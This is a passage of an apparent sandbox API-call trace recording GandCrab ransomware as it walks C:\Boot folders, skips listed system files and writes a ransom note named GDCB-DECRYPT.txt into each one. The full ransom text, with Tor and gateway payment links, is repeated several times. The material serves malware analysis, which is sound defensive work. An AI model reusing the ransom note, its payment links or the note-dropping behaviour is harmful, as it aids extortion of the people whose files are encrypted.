http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.745] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.745] CloseHandle (hObject=0x4e0) returned 1 [0052.745] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.745] lstrlenW (lpString="C:\\Boot\\ko-KR\\") returned 14 [0052.745] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="C:\\Boot\\ko-KR\\*") returned="C:\\Boot\\ko-KR\\*" [0052.745] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588ee0 [0052.746] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.746] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.746] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.746] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.746] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.746] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.746] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.746] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="C:\\Boot\\ko-KR\\bootmgr.exe.mui" [0052.746] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.746] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0052.746] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0052.746] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.746] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.746] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.746] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.746] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt" [0052.746] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.747] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0052.747] lstrlenW (lpString="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0052.747] lstrlenW (lpString="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0052.747] lstrlenW (lpString="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0052.747] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.747] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.747] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.747] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.747] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.747] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.747] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.747] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.747] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.747] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.747] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.747] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.747] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.747] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\memtest.exe.mui") returned="C:\\Boot\\ko-KR\\memtest.exe.mui" [0052.747] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.748] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0052.748] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0052.748] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.748] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.748] FindClose (in: hFindFile=0x588ee0 | out: hFindFile=0x588ee0) returned 1 [0052.748] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.748] lstrcmpW (lpString1="lt-LT", lpString2=".") returned 1 [0052.748] lstrcmpW (lpString1="lt-LT", lpString2="..") returned 1 [0052.748] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="lt-LT" | out: lpString1="C:\\Boot\\lt-LT") returned="C:\\Boot\\lt-LT" [0052.748] lstrcatW (in: lpString1="C:\\Boot\\lt-LT", lpString2="\\" | out: lpString1="C:\\Boot\\lt-LT\\") returned="C:\\Boot\\lt-LT\\" [0052.748] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.749] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.749] lstrlenW (lpString="C:\\Boot\\lt-LT\\") returned 14 [0052.749] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="*" | out: lpString1="C:\\Boot\\lt-LT\\*") returned="C:\\Boot\\lt-LT\\*" [0052.749] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588de0 [0052.750] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.750] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.750] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.750] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.750] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.750] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.750] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.750] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned="C:\\Boot\\lt-LT\\bootmgr.exe.mui" [0052.750] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0052.750] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.750] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.750] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.750] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.750] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\lt-LT\\\\GDCB-DECRYPT.txt") returned 31 [0052.751] CreateFileW (lpFileName="C:\\Boot\\lt-LT\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\lt-lt\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.751] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.751] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.751] CloseHandle (hObject=0x4e0) returned 1 [0052.751] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.752] lstrlenW (lpString="C:\\Boot\\lt-LT\\") returned 14 [0052.752] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="*" | out: lpString1="C:\\Boot\\lt-LT\\*") returned="C:\\Boot\\lt-LT\\*" [0052.752] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.752] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.752] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.752] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.752] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.752] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.752] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.752] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.752] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned="C:\\Boot\\lt-LT\\bootmgr.exe.mui" [0052.752] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.752] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0052.752] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0052.753] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.753] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.753] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.753] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.753] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt" [0052.753] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.753] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0052.753] lstrlenW (lpString="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0052.753] lstrlenW (lpString="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0052.753] lstrlenW (lpString="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0052.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.753] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.754] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.754] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.754] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.754] lstrcmpW (lpString1="lv-LV", lpString2=".") returned 1 [0052.754] lstrcmpW (lpString1="lv-LV", lpString2="..") returned 1 [0052.754] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="lv-LV" | out: lpString1="C:\\Boot\\lv-LV") returned="C:\\Boot\\lv-LV" [0052.754] lstrcatW (in: lpString1="C:\\Boot\\lv-LV", lpString2="\\" | out: lpString1="C:\\Boot\\lv-LV\\") returned="C:\\Boot\\lv-LV\\" [0052.754] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.754] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.754] lstrlenW (lpString="C:\\Boot\\lv-LV\\") returned 14 [0052.754] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="*" | out: lpString1="C:\\Boot\\lv-LV\\*") returned="C:\\Boot\\lv-LV\\*" [0052.754] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588ea0 [0052.755] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.755] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.755] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.755] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.755] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.755] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.755] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.755] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned="C:\\Boot\\lv-LV\\bootmgr.exe.mui" [0052.755] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0052.755] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.755] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.755] FindClose (in: hFindFile=0x588ea0 | out: hFindFile=0x588ea0) returned 1 [0052.755] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.756] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\lv-LV\\\\GDCB-DECRYPT.txt") returned 31 [0052.756] CreateFileW (lpFileName="C:\\Boot\\lv-LV\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\lv-lv\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.756] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.756] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.757] CloseHandle (hObject=0x4e0) returned 1 [0052.757] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.757] lstrlenW (lpString="C:\\Boot\\lv-LV\\") returned 14 [0052.757] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="*" | out: lpString1="C:\\Boot\\lv-LV\\*") returned="C:\\Boot\\lv-LV\\*" [0052.757] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.757] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.757] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.757] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.757] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.757] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.757] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.757] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.757] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned="C:\\Boot\\lv-LV\\bootmgr.exe.mui" [0052.757] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0052.758] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0052.758] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.758] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.758] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.758] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.758] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt" [0052.758] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.759] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0052.759] lstrlenW (lpString="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0052.759] lstrlenW (lpString="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0052.759] lstrlenW (lpString="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0052.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.759] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.759] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.759] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.759] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.759] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.759] lstrcmpW (lpString1="memtest.exe", lpString2=".") returned 1 [0052.759] lstrcmpW (lpString1="memtest.exe", lpString2="..") returned 1 [0052.759] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="memtest.exe" | out: lpString1="C:\\Boot\\memtest.exe") returned="C:\\Boot\\memtest.exe" [0052.759] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\memtest.exe") returned 19 [0052.760] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0052.760] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.760] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.760] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0052.760] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0052.760] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nb-NO" | out: lpString1="C:\\Boot\\nb-NO") returned="C:\\Boot\\nb-NO" [0052.760] lstrcatW (in: lpString1="C:\\Boot\\nb-NO", lpString2="\\" | out: lpString1="C:\\Boot\\nb-NO\\") returned="C:\\Boot\\nb-NO\\" [0052.760] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.760] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.760] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.760] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.760] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.760] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.761] lstrlenW (lpString="C:\\Boot\\nb-NO\\") returned 14 [0052.761] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="C:\\Boot\\nb-NO\\*") returned="C:\\Boot\\nb-NO\\*" [0052.761] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588b20 [0052.761] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.761] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.761] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.761] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.761] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.761] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.761] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.761] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="C:\\Boot\\nb-NO\\bootmgr.exe.mui" [0052.761] lstrlenW 